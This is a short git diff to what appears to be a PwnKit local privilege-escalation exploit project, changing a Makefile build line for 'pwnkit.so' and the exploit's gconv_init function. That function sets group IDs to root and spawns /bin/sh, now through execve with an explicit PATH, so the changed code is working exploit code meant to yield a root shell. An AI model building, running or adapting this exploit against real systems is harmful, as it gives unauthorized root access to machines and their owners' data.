diff --git a/Makefile b/Makefile index 22404a1..7014eff 100644 --- a/Makefile +++ b/Makefile @@ -6,7 +6,7 @@ CC_FLAGS ?= .PHONY: all debug all: - gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-soname,libservice.so -Wl,-e,main -fPIC + gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-e,main -fPIC debug: CC_FLAGS:=-g -O0 -v ${CC_FLAGS} debug: all diff --git a/src/exploit.c b/src/exploit.c index e8266f1..fcfffe5 100644 --- a/src/exploit.c +++ b/src/exploit.c @@ -23,7 +23,11 @@ void gconv_init() { setgid(0); setegid(0); char *shellArgv[] = {"sh", NULL}; - execv("/bin/sh", shellArgv); + char *env[] = { + "PATH=/bin:/usr/bin:/sbin:/usr/sbin", + NULL + }; + execve("/bin/sh", shellArgv, env); } void setup(char *argv[]) {